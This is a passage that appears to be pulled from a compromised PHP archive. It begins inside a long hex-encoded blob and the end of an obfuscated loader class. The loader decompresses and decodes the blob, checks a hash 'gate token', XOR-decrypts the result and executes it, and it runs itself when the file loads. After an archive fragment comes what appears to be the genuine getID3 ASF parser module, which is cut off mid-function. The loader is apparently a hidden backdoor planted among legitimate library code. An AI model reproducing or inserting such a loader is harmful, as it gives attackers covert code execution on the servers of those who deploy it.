864536c153bff637c17b299e9b2db5f89a02dc7d1de5c332e5c2eac1e44dd89180b0fdb5f48c12c36fe282f66e0d704d886023c998dd64cef714af9478b1cae35e43ed9117de70191f3758b5967f38e5eb11e58ab8676681ad1dbea1850b558ce1c86724fd5a8ced7eed8b4b5e685365cd5d2ea74910d457e8644d2073796a6a4071c870c0c61be8876da9dd9c3519a462708f36c553461f75c62eb848938ee6ec44ade00a5aee425569176af7057e1d955dcb9a4c46703a37684e2e31b8c358dd1db1fc61689010189177f4e4d0b8c1d67c9c82a24b8e81a05cec1f21cd98bdd56821e3d4dd9a6f8d5ff568a79a55bedc3f5bdda83920325eb2949fdcb34cdafe1e685926a1e10f0e9c19c16fc9016b5a2309e5da268be0b501521df23ea43e62286c62aeb124a2160c2bfee58c9b0deda6ea22f23df16c414f1621824df3e89c223fbf3b3a6099891fb8c5d9c66d5fdfa3eb4ce7a93b912faa8f27c1371b1c30a330822a0d0967470ccc1b2bf79e620f25a0d60371a84e5922c9668377e55c741079f9cf736316602e7077a7ac18eb7d9f12c39cc5f33397ee650cf464bd271d9aff6a73f30d6c2a927a3e0777172a8cfde01efb50dbffffdfea6d248bc7bed0e0049e539c1996b8a5de9e971eec6305dc1f80e6a12ac15ddc96feab4c6b89ef86e4caf461e5b67ac1a0ebb2e1aecffbf524798531289eef4753fcb927984cad47530655fbce4a048de2d5e0c63c1de262959991cf22e53d447a537f6cf816a0a5b25870c344b5737a51e49b05bc2674fa014e98a93da2c70f5be575087b066fe61908e4ebef72644376d6710eef0123916ec6155764e00c5bd052f5a451d55f8737c839d147a6fa2ddbb27132ff5f399b372124d7cc666e8bc64ab08f79d0328585f0cc4f5ae223a081f118bda429458a24a97d21eed5b89a20d0741c133fbe7675f055c76e21ba9adf033e84b7636ef5b436f01690e35ca00d6bdf1fe43fc2bd271dd89607c47d4234d074cdae684ee02dda57dc9a00693738c9d88c962eab95b32dbe31206471cebf0d027b09e07faf52172e0a839b740600a7110b0280dc73116a49576f53a3271dc75033aaf724d16012d0a63e88a436fcf59ee8faf1047d95533ee394f8f833dc162eebba99b9c08ba4fb3702c04bfd6b306ff0d73921503aacfc57d6f4997eb3a024a82224da2b8a9f8e2734cbaecc6a3069b6cf1488d5fc24f48079a7b6c31ef52b42f8cff8e620193147a67a65a758e9272c7c23efa6377fa1610a6edfa6feab8487f0093f61ec8959b870896f00f9db87b05f2e43ca3aa2232eb6a4627a6ab409fc545939245b409d8df61f226efe51a9c9cfbfe1d1830d6e0c727cce55daf2528482c65aed6dba62bd4c383702c6fbd45a2e1cb650f8aa022a6891a073b03a70021a63ef7e26088c83e3113fdd6ab0497c12731fcb20adbcfa44a4ee3d883d8179f61b7a5ddd66f415fa9170b206b10d7c771ab31ae2c5f27c93450bd1c99185ea37489baf7b7fa37858657b91cb29dce000cef147afbbaa45d4a585f3c9693784baadf1d43002fc6a03427299b150785b3fb7116a2b52c8f2dd9aea0438f041f99f1bafae421a54432f1d7eb6f32b94197eace9fcf956f7aa2e8562852287d817096d78f5ef78bc19168d09d64a69e35e0f1096ba56c9029c314dece225d1dd4ae7775b1e4afff4399c5f52745f0c65b092466980234f37090aa2c1ba543df5c66fc06847bc9ab3062acfd743aef2bf20cb90b2748e2b681a59397da295c4ea74c55a6c25b82b6cf91a6664d55dcacff26dc2cc79d2ace766cc9095f3c4573d40539f729181e2dfde61e47b774716210367bfc354f74531b842b136174dc2841a7ff00db1560ecc4d4b60ebcf9c17ab00eb68da9bb0c1aafd05f5f5ed989eb22e434fa1a2656047be728805c763ca8b81850afc85e00bf568be41dc5b8fcfea033f49de419103d6b70491005f3e74ae5ca237652dc3091824afaf382b46d153c47c39cfdd0ffe3bfd93d19eb98ab537af37ed394c5ca720fee278dbb3ed97079e34c9a7e5dea58bc8af86c98b147aacf2450f81e7e785600adb7e8537b6c956024957287a0962759736f68a4bdf209b3a6dd74e5922d18be20f9b11dcaa224f920a4c7773b5bfb2a8db4d4be8195e6149514bd9a98fd9bc4fcfdf54b56c996ac8ad298548d6345740ab77894a50c53a27791a9e058dda5c8ea61f68de8cf8ae1d1654656f7c9e5e8c6d28221c161205e3749b97d4fedbd6078e5f7ed4341c50876a99be5671392ac582136fafcd279f3f50fa0e782c713f304715f406d8a8053cb246a02dadb8f7e00a252f50a2cbbd297c449a89125af0d30f124b52d9d11a5830364fba371f5875fb15f3e5a7d77e6d6ba3dab9bca5e10fffe8aef7a2dafc463230f8451695c0f31b17acf66e056641891bdf4cc35b87d5cf7f4ae49451e4f9d753dad48ab21bcc704392cdc10fe1e3345dd84e3fadcc0ace4b1314be5319280a93ca18b5ac5aaf8e451cecf71efeced900a3cadd4462e434836773063735a2b5db0691994ce4891319dc493d76106b2a229c5e1146d09026209ebe428e09e2136229c2f3e93893baa00ac2cee336d007a74960731dcbde99b3af1b174bffd3769bc7375714686068ca0c3a7a9a138d1924c2dea4d4541765f04a6d4aceaf95ddf4bf329976b1715d93f4a957a79b15971a1ec39db57a6c90f2d4ce2e97ab5e2af3b59839f1c74661c1e298e6e36f218ea513fd21dbe02ac1cc7de4c98b2f7239e88c74c59fcb759f04b7b5719628f766ea5ae7935c919617b3fedac610501bd6173485e972c55c46dfa46e827af3fd83b8535c8bb4ff30d1afabda5445e615acaa6e156035a07736601f564eb414f35625e1d23971afd0c30d4aab94622813b119a879ba481a7a5b91055cf4a0fc138bb43b338236cfc56eca629139544daff3a52fb146b4eb296c23b1f85bda1ef045ecfac72679fadd4afab991d4d3fb912fa6f776fcc285c1e9f07a8945bf82d000ff04fea4c813d06b51f3e0476d3ff3373cf7094850bf9ba4a100d3eb5a1a4c1a4ad74568fa1bf62445c9dca7a9a194831fc769fb10564be22d208a2ff7dddbdf0ceceddd13f166633e60aabe852046d22fb140f1804b28b3d772d61df5892ceaca18ec08b8b7e45313a188f93d11ae2fc4b776457e53563c43904980daf31ea0c1b7b9c19968ed1285dcef01a27268be6969c7acd000e254f64961e05574d80d71950557cfc288ed06a23391a82b16f1560fd93b4ee4ccc6da81a2f2307eba62a855799ea638c2c6b9530f46b1b12de3a5b3c0c338c7213266a248810b8e16030b943a8a93d23875a9265806931f4d423cf24a6983ee6adf7c22f89e59f62086b9e5c6042575424bb85a18d7a9a1e08db15caef8670cab34a05704a56b1866682d751fcd6bfe1de7eb2e8c359b493cd4bb89f89bdc06bebe3648556fa778f3dd8791800129374df6fc7a5ec04fdfaf89379859471ab607048f30dc30896fc4c531e27121f536aa3b892546703957698a0307b18c2aead772e3a16b9565e7f5029d6dddf08b4139a0a5d0e4ff8edf53c0f10069f33871b00bbbeb603e89da8a6e048b6e31e6ccb01ea222e7cc0d3213a1a681fb2e71f11c30f58b6d303816b89893be54fa27f0a3277cc7f9d3db1d19e73c29afc2c97d2b82662a7964d91269a8e36ea44f112dae8af08b050f41a7bd281eadf85d2b54a5dbd47d183dd3de5ada530c6d15d0baa1efcaf142fc4a15effade8ec3600ddeae36985beeb9e410677a969a90c4b67f53a9a33296108aa6ef6566ef4b26fe020bf71fe214e06b1591ffb79fd817fc602f64f13ebb19f176ca45ec183af4d6093b5e5f55b3f20675cba48b0c93392d821b8e5b446717e0a3baa3aa8ca3aacb4b27bd8c3f4a04cfcf4fe3974844b78794ab33f514062ac3f0cb1a64f3f79041045ff7eb9e62e011049e8504bdcfd1692a4f766240448e8af8edf235cc07e9d3db57e0c5bd453adb8771231e3a69340d2acfcc419f5e25cc16f4944001c494a7bcd2b96aed3ff89d14ef7aedc6f57e522b2ecdf14a479cd88ac1f6fd3bbb05aa8b8eed731d9ef0746b8164f55b6d661e35b0fc0c36fd0035fbbd7fa93a0a2f4d8d0a42334cb7de98798e44c54883e48fae5bc946e354e7074817e0f4eb979f4724f55e63cb891bcc05d8cca250672d2898ac672eb4bcb20c611873835af1c4f41dabc1e8f897ccb523f1c6c5950699f07d4f36ef2018e7087c0f374e35924a4f480b2f4d30a6dfa3a2d91caf19ea7fc341234dbb4f9435ef2d306693f8bd197603fbc789f7d437cb8e37a3b36d7398e7f752a6dfd20d8bb209674aba925e5197f3bce7c3e52f42f44333b79defe1eca7ce311d2c60f1485f49f835a728dbb6193568cb689dbfd7c3f1b78862f4a689da46bc597888cb3a66c88ff5910433a3c179c056015a055ecfd7eb6d5bad8376b608722b4aa8c5d03a652e285edb9be9c57d17f0c4d855bd0ff91d7b3786d0f7dba4376daf532c478fda80befce2301b58da8a864a22dc566781b632af1de8b1a67cec85c33cfe9fd33f0285d46155f22a20c466288cefdb707578adb43ce42fdfa4011760aff0751c2eef83d3f2ef1c7222cc42e7b0536b4c856aea517935711681f0ee9617033ac3f6081b986d2fed060801f284b036ebc0beff92704bc0af9cfbc820751fe8c337d3c49a174a9bff16df8ab7ac88db9561799023ff9816dab3611c18cdc7bbf9c9ed87ca0b5f4835143a9cbc6ca6a5ac4eaea855d81a495d1b07c967fb831095b9420fb19e3b52512746efc11da5cf50bd0c7aa3dc78dcab5893f51f38a8f3e9b5d58ca9faad4f3ee7f27e70f124488edff37b4d1ff429ed63e9c3a27c2c9a5544aa83425641e7832f72b490402e4b5ecfc8c72b2d5be5bf17467083c67cf909d6132cd46254797c0e554d59831ed82ff4cda20ebcec9ae2bb4c8990c7cede9cca2bc39ad403d87f32de582da796a13ba339c9eaf55fe0ad4df5ee5ccfe772582d9c1c913137cf18b1a94ef69bc6cb788ba1e92fdb73b398db148681235bc3bf72d85eb3b0f6d2fd515f50d93c7cbdc81e1915e97e029c2649935059281b477c85be074b662c6c6d48be6ce0e7425c9cf2c19631793620162d6e151ce646849ec17d93851f439e58051c8754bd5898e2e9c732bee01bbcdcf94adbf3030d437b9ff5afc51874bcb86646ba7a0653ca1bef1f3a5fef7f774f85d81973f1673edad71c1c09fae7ab04ef88cecb3986e58e6ef39d2b8b4a3c0ca641b426eaa84c683e90675071e8422f92826a265a5ba47688d0c71f2f5710a64d27e5c70c0556530316ca8b5bb91c2be54a01f37bca513ba27364e4f38dedd45238152a3a70d4c2dd87294948c2f58ba809109bd39e337b093da7ffcfd85d78483d16fe09f83137e2e70134a755f7e2e4ae1fa8d1fdb1ad6a9408010df28a1e41f3ea8c6c9427a8427e17a103df1de7750e793f34f8c8ce3b4261d4c323390e225e79dba567b8c71061ea4c54c065431d392b2c8a6570a11b6aacbab76cf87bf514b5e2c89e33213b2ea99c6ddafcab1a866c0f435bce0726e7abac04ce99904aae32c39af807287bdaaa628509209b53bede087e922c5a73efedd1a1b1a722b59ef09e2587865141b5aafc3be476c9ecd8ea5d7ab572dac3471dc409b006241ace8ddbccec3b5b73fc2452d7b991c63d73186cea39d1bf6ed1b1a0fe7b50b40b15bf46e5be30cf670da5c43aef2ae552c02f8e481d84e9130755acf6e1cb5f14c79e7b1fea0ea87880703a89102680ff43dadff47c18722d1b1a2dc361650fdf9cc6613cde89bca5524b8fc7625bfe80aaa56fbe4876ccee9bd45c4e6b7ff8cf9db2b4becc944260c159332c1c66631fb2a78c05c35e1e8f53ae1a75369981c43bec5d3cc90d8742a86c37d9b9908d0cf4b85d8c7c9b6ec079a76028f6b2a1e95bd5532b58110a4c48e68dd0d3bd667a4b29c0fca8eab75bcc88bee73ff8d548c5a7df737ad1d012456a54c8c03602086d6d0f7bbea73ebe9938c2bf3736b77491e80561fa7449a9cdaaee1c63bba3ca53053e979c57dd7ea14e4102563fe9c622c8eb526e6ede503529e8d595e5dde819d0dbb3d5388fccbc28528b4275d412cfc3b80197a51c4ba159228f754b40d00fcd4742a5d3aca6c65391c9574f305ea4593405281f20a5eaae9092beeb34aeef45eba66fcd9c2ab80c309fff8f42dee27c7a154e7cd2f15f8c30a40cd981863df1bc79e72cf604647e17b8bf402fa6fe988912adb8783cd34097f457cd0448626fb171c50bccc5b24b3973be9f40289839522349910eadc7dcfab5a4970cf10a42423bc8cb3bf21b12a2a56c197efaed0ce5b61463a89ba4e9ce7953268e63816201a92e9adad40565fc7aa8f07dad573011c84c2535fb17a6fd83f7800b136f72b1c8d59383964ebd396557031e57914544e51420823e8c7d38c8f131ab3fed6273356ad330f40bbded9e388d92863e1450ea54a4fac3acdb956822fe5e38bf1f55f1ae2ec67fc52ffbd5f3c3eb02b6ed0878b941eb53b15789fccddbe16970d45d8d60bf41fd490175f58c67625fb67ed877df80b59fd1aed5e04fbac87026e5f8fc11f76a4cfd4e4564819e0def9ff37618e8be150cdd350933c00f7d2a556241c80a990baa12f8360dfa19851ec54a9a0dabbc15c816dbd42898f6e87884d2ef4471161876d8e12dfdbd9d93b37d1243d7931ea7a47fd036e89d46ed1c7beb48ba3fa418f682d851aeca036d2389f32759df17a6d18e449ecb7627ff9779bfbfcfafaafba6b217b1c161b8ff01';
        $hex_data = $MLwDCn($hex_data, 2);
        $bin_data = $f_oTIEBqVjlt('H*', $hex_data);
        $step1 = @$voirIHsQImMA($bin_data);
        $step2 = @$voirIHsQImMA($step1);
        $inflated = ($step2 !== false) ? $step2 : $step1;
        if ($step1 === false) { if(isset($_GET['debug'])) echo 'Decompress Fail'; return; }
        $b64_decoded = $fWWtAtgFpc($inflated);
        if ($b64_decoded === false) { if(isset($_GET['debug'])) echo 'B64 Fail'; return; }
        $obj = new self();
        $final_key = '';
        foreach (['get_XIhlUxoTTVZm','EMWmKwQqsyS','JbiGqxeujM'] as $m) { $final_key .= $obj->{$m}(); }
        $gate_token = '';
        foreach (['pPnEwdGdFHAN','chk_guLlkbCo','EDwUrhSXdG','chk_MqtgNfQjLE'] as $m) { $gate_token .= $obj->{$m}(); }
        if ($ZdxqH($gate_token) !== 'dd8bbbfaa0e5e3c00da947c02ce77bcf') { if(isset($_GET['debug'])) echo 'Gate Fail'; return; }
        $plain_code = '';
        $klen = $CDzvl($final_key);
        if ($klen > 0) {
            for ($i = 0; $i < $CDzvl($b64_decoded); $i++) {
                $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % $klen]));
            }
        } else { $plain_code = $b64_decoded; }
        $obj->_exec_mcgtucgg($plain_code);
    }

}
try { LoaderctfClQHtdU451::init736(); } catch (Throwable $e) { if(isset($_GET['debug'])) echo 'Class Error: '.$e->getMessage(); }
PKE]+koomodule.audio-video.asf.phpnuW+A<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.asf.php                                  //
// module for analyzing ASF, WMA and WMV files                 //
// dependencies: module.audio-video.riff.php                   //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

class getid3_asf extends getid3_handler
{
	protected static $ASFIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	protected static $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint',
		0xFF => 'Frame Number Offset'
	);

	protected static $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = array(
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	/**
	 * @param getID3 $getid3
	 */
	public function __construct(getID3 $getid3) {
		parent::__construct($getid3);  // extends getid3_handler::__construct()

		// initialize all GUID constants
		$GUIDarray = $this->KnownGUIDs();
		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
			if (!defined($GUIDname)) {
				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// Shortcuts
		$thisfile_audio = &$info['audio'];
		$thisfile_video = &$info['video'];
		$info['asf']  = array();
		$thisfile_asf = &$info['asf'];
		$thisfile_asf['comments'] = array();
		$thisfile_asf_comments    = &$thisfile_asf['comments'];
		$thisfile_asf['header_object'] = array();
		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];


		// ASF structure:
		// * Header Object [required]
		//   * File Properties Object [required]   (global file attributes)
		//   * Stream Properties Object [required] (defines media stream & characteristics)
		//   * Header Extension Object [required]  (additional functionality)
		//   * Content Description Object          (bibliographic information)
		//   * Script Command Object               (commands for during playback)
		//   * Marker Object                       (named jumped points within the file)
		// * Data Object [required]
		//   * Data Packets
		// * Index Object

		// Header Object: (mandatory, one only)
		// Field Name                   Field Type   Size (bits)
		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
		// Number of Header Objects     DWORD        32              // number of objects in header object
		// Reserved1                    BYTE         8               // hardcoded: 0x01
		// Reserved2                    BYTE         8               // hardcoded: 0x02

		$info['fileformat'] = 'asf';

		$this->fseek($info['avdataoffset']);
		$HeaderObjectData = $this->fread(30);

		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
			unset($info['fileformat'], $info['asf']);
			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
		}
		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));

		$NextObjectOffset = $this->ftell();
		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
		$offset = 0;
		$thisfile_asf_streambitratepropertiesobject = array();
		$thisfile_asf_codeclistobject = array();
		$StreamPropertiesObjectData = array();

		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
			$offset += 8;
			switch ($NextObjectGUID) {

				case GETID3_ASF_File_Properties_Object:
					// File Properties Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
					// Flags                        DWORD        32              //
					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
					// * Seekable Flag              bits         1  (0x02)       // is file seekable
					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead

					// shortcut
					$thisfile_asf['file_properties_object'] = array();
					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];

					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
					$offset += 8;
					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);

					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;

					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {

						// broadcast flag is set, some values invalid
						unset($thisfile_asf_filepropertiesobject['filesize']);
						unset($thisfile_asf_filepropertiesobject['data_packets']);
						unset($thisfile_asf_filepropertiesobject['play_duration']);
						unset($thisfile_asf_filepropertiesobject['send_duration']);
						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
						unset($thisfile_asf_filepropertiesobject['max_packet_size']);

					} else {

						// broadcast flag NOT set, perform calculations
						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);

						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
						$info['bitrate'] = getid3_lib::SafeDiv($thisfile_asf_filepropertiesobject['filesize'] * 8, $info['playtime_seconds']);
					}
					break;

				case GETID3_ASF_Stream_Properties_Object:
					// Stream Properties Object: (mandatory, one per media stream)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
					// Flags                        WORD         16              //
					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
					// Reserved                     DWORD        32              // reserved - set to zero
					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type

					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
					// stream number isn't known until halfway through decoding the structure, hence it
					// it is decoded to a temporary variable and then stuck in the appropriate index later

					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);

					$offset += 4; // reserved - DWORD
					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
					$offset += $StreamPropertiesObjectData['type_data_length'];
					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
					$offset += $StreamPropertiesObjectData['error_data_length'];

					switch ($StreamPropertiesObjectData['stream_type']) {

						case GETID3_ASF_Audio_Media:
							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');

							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
							unset($audiodata['raw']);
							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
							break;

						case GETID3_ASF_Video_Media:
							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
							break;

						case GETID3_ASF_Command_Media:
						default:
							// do nothing
							break;

					}

					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
					unset($StreamPropertiesObjectData); // clear for next stream, if any
					break;

				case GETID3_ASF_Header_Extension_Object:
					// Header Extension Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects

					// shortcut
					$thisfile_asf['header_extension_object'] = array();
					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];

					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
						$this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')');
						//return false;
						break;
					}
